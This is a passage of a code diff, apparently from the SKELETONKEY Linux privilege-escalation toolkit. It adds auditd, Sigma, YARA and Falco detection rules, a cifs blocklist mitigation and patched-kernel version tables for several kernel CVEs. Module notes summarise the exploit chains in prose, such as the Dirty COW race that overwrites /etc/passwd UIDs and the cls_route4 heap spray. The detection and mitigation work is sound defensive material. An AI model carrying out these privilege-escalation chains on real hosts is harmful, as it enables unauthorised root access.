CIFSWITCH_BLOCKLIST, strerror(errno), CIFSWITCH_BLOCKLIST);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static const char body[] =
|
||||
"# Added by SKELETONKEY --mitigate cifswitch (CVE-2026-46243).\n"
|
||||
"# Blocklists the cifs module so the vulnerable cifs.spnego upcall\n"
|
||||
"# path cannot be reached. Remove via `--cleanup cifswitch`.\n"
|
||||
"blacklist cifs\n"
|
||||
"install cifs /bin/false\n";
|
||||
ssize_t w = write(fd, body, sizeof body - 1);
|
||||
close(fd);
|
||||
if (w != (ssize_t)(sizeof body - 1)) {
|
||||
fprintf(stderr, "[-] cifswitch: short write to %s\n", CIFSWITCH_BLOCKLIST);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[+] cifswitch: wrote %s (blocklist cifs). Already-loaded "
|
||||
"cifs stays until unmounted+`rmmod cifs` or reboot. This is "
|
||||
"a stopgap; patch the kernel. Revert: `--cleanup cifswitch`.\n",
|
||||
CIFSWITCH_BLOCKLIST);
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (unlink(CIFSWITCH_BLOCKLIST) == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] cifswitch: removed %s\n", CIFSWITCH_BLOCKLIST);
|
||||
} else if (errno != ENOENT) {
|
||||
fprintf(stderr, "[-] cifswitch: could not remove %s: %s\n",
|
||||
CIFSWITCH_BLOCKLIST, strerror(errno));
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: keyrings, cifs.upcall and modprobe are all
|
||||
* Linux-only. Stub so the module still registers and `make` completes on
|
||||
* macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cifswitch: Linux-only module "
|
||||
"(cifs.spnego keyring trust) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cifswitch: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained. The
|
||||
* behavioural signal is a non-root process creating a `cifs.spnego` key
|
||||
* (add_key/request_key) and/or an unexpected cifs.upcall execution
|
||||
* paired with user-namespace setup. */
|
||||
static const char cifswitch_auditd[] =
|
||||
"# CVE-2026-46243 (CIFSwitch) — auditd detection rules\n"
|
||||
"# A non-root add_key/request_key for cifs.spnego is the core abuse,\n"
|
||||
"# usually paired with unshare(CLONE_NEWUSER|CLONE_NEWNS) and a\n"
|
||||
"# cifs.upcall execution that loads an attacker NSS module.\n"
|
||||
"-a always,exit -F arch=b64 -S add_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-a always,exit -F arch=b64 -S request_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-w /usr/sbin/cifs.upcall -p x -k skeletonkey-cifswitch\n";
|
||||
|
||||
static const char cifswitch_sigma[] =
|
||||
"title: Possible CVE-2026-46243 CIFSwitch cifs.spnego keyring LPE\n"
|
||||
"id: 9b2e7c10-skeletonkey-cifswitch\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects a non-root process creating a cifs.spnego key via\n"
|
||||
" add_key/request_key. CIFSwitch forges the authority-bearing fields\n"
|
||||
" (uid/creduid/upcall_target) in a cifs.spnego key description that\n"
|
||||
" the root cifs.upcall helper trusts, then uses namespace tricks to\n"
|
||||
" load an attacker NSS module as root. False positives: legitimate\n"
|
||||
" CIFS/Kerberos mounts normally trigger cifs.spnego from kernel\n"
|
||||
" context (root), not from an unprivileged add_key.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" keyop: {type: 'SYSCALL', syscall: ['add_key', 'request_key']}\n"
|
||||
" non_root: {auid|expression: '>= 1000'}\n"
|
||||
" condition: keyop and non_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46243]\n";
|
||||
|
||||
static const char cifswitch_falco[] =
|
||||
"- rule: non-root cifs.spnego key creation (CVE-2026-46243 CIFSwitch)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates a cifs.spnego key (add_key/request_key)\n"
|
||||
" or spawns cifs.upcall outside a kernel-initiated CIFS mount. The\n"
|
||||
" CIFSwitch LPE forges authority fields in the key description that\n"
|
||||
" the root cifs.upcall helper trusts, loading an attacker NSS module\n"
|
||||
" as root. False positives: container/CIFS tooling run as root.\n"
|
||||
" condition: >\n"
|
||||
" ((evt.type in (add_key, request_key)) or\n"
|
||||
" (spawned_process and proc.name = cifs.upcall)) and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" non-root cifs.spnego key op / cifs.upcall (possible CVE-2026-46243)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46243]\n";
|
||||
|
||||
const struct skeletonkey_module cifswitch_module = {
|
||||
.name = "cifswitch",
|
||||
.cve = "CVE-2026-46243",
|
||||
.summary = "cifs.spnego key type trusts userspace-forged authority fields → cifs.upcall loads attacker NSS module as root (Asim Manizada)",
|
||||
.family = "cifswitch",
|
||||
.kernel_range = "fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); ~19-year-old bug below those",
|
||||
.detect = cifswitch_detect,
|
||||
.exploit = cifswitch_exploit,
|
||||
.mitigate = cifswitch_mitigate,
|
||||
.cleanup = cifswitch_cleanup,
|
||||
.detect_auditd = cifswitch_auditd,
|
||||
.detect_sigma = cifswitch_sigma,
|
||||
.detect_yara = NULL, /* attacker NSS .so has no stable signature; behavioural bug */
|
||||
.detect_falco = cifswitch_falco,
|
||||
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 5.10.257/6.1.174/6.12.90/7.0.10) and probes for the cifs.upcall helper / cifs.spnego request-key rule (override via SKELETONKEY_CIFS_ASSUME_PRESENT=1/0); a vulnerable kernel without cifs-utils is PRECOND_FAIL. exploit() fires only the non-destructive primitive: add_key(2) of a forged-but-benign cifs.spnego key (does NOT invoke cifs.upcall, loads nothing), revokes it immediately, and treats a clean accept as the empirical witness — it never runs the namespace-switch + malicious-NSS-load chain that pops root, and returns EXPLOIT_FAIL without a euid-0 witness. Audit-visible via add_key/request_key for cifs.spnego by a non-root auid, typically alongside unshare(CLONE_NEWUSER|CLONE_NEWNS) and a cifs.upcall execution. --mitigate writes /etc/modprobe.d/skeletonkey-disable-cifs.conf (blacklist cifs); --cleanup removes it. Arch-agnostic (no shellcode).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cifswitch(void)
|
||||
{
|
||||
skeletonkey_register(&cifswitch_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cifswitch_cve_2026_46243 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CIFSWITCH_SKELETONKEY_MODULES_H
|
||||
#define CIFSWITCH_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cifswitch_module;
|
||||
|
||||
#endif
|
||||
@@ -69,9 +69,9 @@
|
||||
|
||||
static const struct kernel_patched_from cls_route4_patched_branches[] = {
|
||||
{5, 4, 213},
|
||||
{5, 10, 143},
|
||||
{5, 10, 136}, /* Debian tracker: earlier than 5.10.143 */
|
||||
{5, 15, 69},
|
||||
{5, 18, 18},
|
||||
{5, 18, 16}, /* Debian tracker: earlier than 5.18.18 */
|
||||
{5, 19, 7},
|
||||
{5, 20, 0}, /* mainline */
|
||||
};
|
||||
@@ -826,6 +826,54 @@ static const char cls_route4_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
|
||||
|
||||
static const char cls_route4_sigma[] =
|
||||
"title: Possible CVE-2022-2588 cls_route4 dead-UAF\n"
|
||||
"id: d56e8fc4-skeletonkey-cls-route4\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the net/sched cls_route4 dead-UAF setup: unshare userns +\n"
|
||||
" netns + tc qdisc/filter rules with handle 0 + delete + msg_msg\n"
|
||||
" spray + UDP sendto on a dummy interface. False positives:\n"
|
||||
" traffic-shaping config in rootless containers.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" udp: {type: 'SYSCALL', syscall: 'sendto'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: userns and udp and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.2588]\n";
|
||||
|
||||
static const char cls_route4_yara[] =
|
||||
"rule cls_route4_cve_2022_2588 : cve_2022_2588 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-2588\"\n"
|
||||
" description = \"cls_route4 dead-UAF kmalloc-1k spray tag and log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY4\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-cls_route4.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char cls_route4_falco[] =
|
||||
"- rule: tc route4 filter manipulation by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root tc qdisc + route4 filter add/delete inside a userns\n"
|
||||
" + UDP sendto trigger. CVE-2022-2588 dead-UAF pattern. False\n"
|
||||
" positives: legitimate traffic shaping inside rootless\n"
|
||||
" containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendto and fd.sockfamily = AF_INET and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" UDP sendto on dummy iface from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2022.2588]\n";
|
||||
|
||||
const struct skeletonkey_module cls_route4_module = {
|
||||
.name = "cls_route4",
|
||||
.cve = "CVE-2022-2588",
|
||||
@@ -837,9 +885,11 @@ const struct skeletonkey_module cls_route4_module = {
|
||||
.mitigate = NULL, /* mitigation: blacklist cls_route4 module OR disable user_ns */
|
||||
.cleanup = cls_route4_cleanup,
|
||||
.detect_auditd = cls_route4_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = cls_route4_sigma,
|
||||
.detect_yara = cls_route4_yara,
|
||||
.detect_falco = cls_route4_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); ip link/addr/route to make a dummy interface, htb qdisc + class + route4 filter with handle 0, delete filter (leaves dangling tcf_proto pointer), msg_msg spray kmalloc-1k tagged 'SKELETONKEY4', UDP sendto to trigger classify(). Writes /tmp/skeletonkey-cls_route4.log. Audit-visible via unshare + sendto(AF_INET) + msgsnd. Cleanup callback removes /tmp log + dummy interface.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cls_route4(void)
|
||||
|
||||
@@ -157,6 +157,82 @@ static const char copy_fail_family_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
||||
|
||||
/* YARA + Falco rules shared across the 5 family modules. Scanned via
|
||||
* --detect-rules; the dispatcher dedups by pointer so the rule blob
|
||||
* emits once even though copy_fail / copy_fail_gcm / dirty_frag_*
|
||||
* all point at the same string. */
|
||||
static const char copy_fail_family_yara[] =
|
||||
"rule etc_passwd_uid_flip : page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31431 / CVE-2026-43284 / CVE-2026-43500\"\n"
|
||||
" description = \"/etc/passwd page-cache UID flip: a non-root user line shows a zero-padded UID (the canonical Copy Fail / Dirty Frag / DirtyDecrypt / Dirty Pipe payload). Scan /etc/passwd; legitimate root uses plain '0:', never '0000:'.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" // lowercase-start username, optional shadow ('x') password, then UID 0000 or longer\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"rule etc_passwd_root_no_password\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31635 (DirtyDecrypt sliding-window write)\"\n"
|
||||
" description = \"/etc/passwd root entry rewritten to have an empty password field — the DirtyDecrypt PoC's intermediate corruption (rewrite root's password to empty, then `su root` without password).\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $root_open = /\\nroot::0:0:/ // empty password (canonical x or ! when shadowed)\n"
|
||||
" condition:\n"
|
||||
" $root_open\n"
|
||||
"}\n";
|
||||
|
||||
static const char copy_fail_family_falco[] =
|
||||
"- rule: AF_ALG authenc keyblob installed by non-root (Copy Fail primitive)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates an AF_ALG socket and installs an\n"
|
||||
" authencesn(hmac(sha256),cbc(aes)) keyblob via ALG_SET_KEY.\n"
|
||||
" Core of the Copy Fail (CVE-2026-31431) primitive — also\n"
|
||||
" triggered by the GCM variant. AF_ALG by non-root is rare on\n"
|
||||
" most servers; tune by allow-listing your crypto-using daemons.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg[0] = 38 and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_ALG socket() by non-root (user=%user.name pid=%proc.pid\n"
|
||||
" ppid=%proc.ppid parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.31431, copy_fail]\n"
|
||||
"\n"
|
||||
"- rule: XFRM NETLINK_XFRM bind from unprivileged userns (Dirty Frag primitive)\n"
|
||||
" desc: |\n"
|
||||
" A NETLINK_XFRM socket is opened from inside an unprivileged\n"
|
||||
" user namespace, with subsequent XFRM_MSG_NEWSA installing an\n"
|
||||
" ESP(rfc4106(gcm(aes))) state. Core of the Dirty Frag esp/esp6\n"
|
||||
" variants — also tripped by Fragnesia's setup phase. Legitimate\n"
|
||||
" XFRM use is normally privileged (strongSwan, libreswan).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendto and not user.uid = 0 and\n"
|
||||
" proc.aname[1] != \"\" // we want non-init userns; refine with k8s.namespace or container.id\n"
|
||||
" output: >\n"
|
||||
" NETLINK_XFRM sendto from non-root (user=%user.name pid=%proc.pid\n"
|
||||
" proc=%proc.name)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.43284, dirty_frag]\n"
|
||||
"\n"
|
||||
"- rule: /etc/passwd modified by non-root (Copy Fail / Dirty Frag / Dirty Pipe outcome)\n"
|
||||
" desc: |\n"
|
||||
" /etc/passwd is read-only for non-root, so a non-root caller\n"
|
||||
" showing up on its open(W_OK) audit trail indicates a\n"
|
||||
" page-cache write primitive succeeded. Catches the post-fire\n"
|
||||
" state for the whole copy_fail family + dirty_pipe.\n"
|
||||
" condition: >\n"
|
||||
" open_write and fd.name = /etc/passwd and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" Non-root write to /etc/passwd (user=%user.name pid=%proc.pid\n"
|
||||
" proc=%proc.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, copy_fail, dirty_frag]\n";
|
||||
|
||||
const struct skeletonkey_module copy_fail_module = {
|
||||
.name = "copy_fail",
|
||||
.cve = "CVE-2026-31431",
|
||||
@@ -169,8 +245,10 @@ const struct skeletonkey_module copy_fail_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
||||
@@ -201,8 +279,10 @@ const struct skeletonkey_module copy_fail_gcm_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
||||
@@ -233,8 +313,10 @@ const struct skeletonkey_module dirty_frag_esp_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
||||
@@ -265,8 +347,10 @@ const struct skeletonkey_module dirty_frag_esp6_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
||||
@@ -297,8 +381,10 @@ const struct skeletonkey_module dirty_frag_rxrpc_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- Family registration ----- */
|
||||
|
||||
@@ -72,7 +72,7 @@ static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
||||
{3, 16, 38},
|
||||
{3, 18, 43},
|
||||
{4, 4, 26}, /* Ubuntu 16.04 baseline */
|
||||
{4, 7, 10},
|
||||
{4, 7, 8}, /* Debian tracker: earlier than 4.7.10 */
|
||||
{4, 8, 3},
|
||||
{4, 9, 0}, /* mainline fix */
|
||||
};
|
||||
@@ -390,6 +390,35 @@ static const char dirty_cow_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
|
||||
|
||||
static const char dirty_cow_yara[] =
|
||||
"rule dirty_cow_cve_2016_5195 : cve_2016_5195 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2016-5195\"\n"
|
||||
" description = \"Dirty COW /etc/passwd UID-flip pattern (non-root user remapped to 0000+)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n";
|
||||
|
||||
static const char dirty_cow_falco[] =
|
||||
"- rule: Dirty COW pwrite on /proc/self/mem by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root pwrite() targeting /proc/self/mem at an offset that\n"
|
||||
" overlaps a private mmap of /etc/passwd. Combined with a\n"
|
||||
" racing madvise(MADV_DONTNEED) loop this is the Dirty COW\n"
|
||||
" primitive (CVE-2016-5195).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = pwrite and fd.name = /proc/self/mem and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" pwrite to /proc/self/mem by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2016.5195]\n";
|
||||
|
||||
const struct skeletonkey_module dirty_cow_module = {
|
||||
.name = "dirty_cow",
|
||||
.cve = "CVE-2016-5195",
|
||||
@@ -402,8 +431,10 @@ const struct skeletonkey_module dirty_cow_module = {
|
||||
.cleanup = dirty_cow_cleanup,
|
||||
.detect_auditd = dirty_cow_auditd,
|
||||
.detect_sigma = dirty_cow_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = dirty_cow_yara,
|
||||
.detect_falco = dirty_cow_falco,
|
||||
.opsec_notes = "Two-thread race: Thread A loops pwrite(/proc/self/mem) at the user's UID offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites the UID field with all-zeros, then execlp('su') to claim root. UID offset is parsed from the file, not hardcoded. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning. Cleanup callback calls posix_fadvise(POSIX_FADV_DONTNEED) on /etc/passwd and writes 3 to /proc/sys/vm/drop_caches to evict.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirty_cow(void)
|
||||
|
||||
@@ -204,7 +204,7 @@ static void revert_passwd_page_cache(void)
|
||||
* - mainline (≥ 5.17) is patched
|
||||
*/
|
||||
static const struct kernel_patched_from dirty_pipe_patched_branches[] = {
|
||||
{5, 10, 102}, /* 5.10.x backport */
|
||||
{5, 10, 92}, /* 5.10.x backport (Debian tracker: earlier than 5.10.102) */
|
||||
{5, 15, 25}, /* 5.15.x backport */
|
||||
{5, 16, 11}, /* 5.16.x backport (mainline fix lived here briefly) */
|
||||
{5, 17, 0}, /* mainline fix lands; everything from here is fine */
|
||||
@@ -460,6 +460,39 @@ static const char dirty_pipe_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
|
||||
|
||||
static const char dirty_pipe_yara[] =
|
||||
"rule dirty_pipe_passwd_uid_flip : cve_2022_0847 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0847\"\n"
|
||||
" description = \"Dirty Pipe (CVE-2022-0847): /etc/passwd page-cache UID flip — non-root username remapped to UID 0000+. Scan /etc/passwd directly; legitimate root entries use '0:', never '0000:'.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n";
|
||||
|
||||
static const char dirty_pipe_falco[] =
|
||||
"- rule: Dirty Pipe splice from setuid/sensitive file by non-root\n"
|
||||
" desc: |\n"
|
||||
" A non-root process calls splice() with a fd pointing at a\n"
|
||||
" setuid-root binary or a credential file. The Dirty Pipe\n"
|
||||
" primitive (CVE-2022-0847) splices 1 byte from the target to\n"
|
||||
" a prepared pipe to inherit the stale PIPE_BUF_FLAG_CAN_MERGE,\n"
|
||||
" then writes attacker bytes that land in the file's page cache.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = splice and not user.uid = 0 and\n"
|
||||
" (fd.name in (/etc/passwd, /etc/shadow, /etc/sudoers)\n"
|
||||
" or fd.name startswith /usr/bin/su\n"
|
||||
" or fd.name startswith /usr/bin/passwd\n"
|
||||
" or fd.name startswith /bin/su)\n"
|
||||
" output: >\n"
|
||||
" Dirty Pipe-style splice from sensitive file by non-root\n"
|
||||
" (user=%user.name proc=%proc.name fd=%fd.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0847]\n";
|
||||
|
||||
static const char dirty_pipe_sigma[] =
|
||||
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
||||
"id: f6b13c08-skeletonkey-dirty-pipe\n"
|
||||
@@ -487,8 +520,10 @@ const struct skeletonkey_module dirty_pipe_module = {
|
||||
.cleanup = dirty_pipe_cleanup,
|
||||
.detect_auditd = dirty_pipe_auditd,
|
||||
.detect_sigma = dirty_pipe_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = dirty_pipe_yara,
|
||||
.detect_falco = dirty_pipe_falco,
|
||||
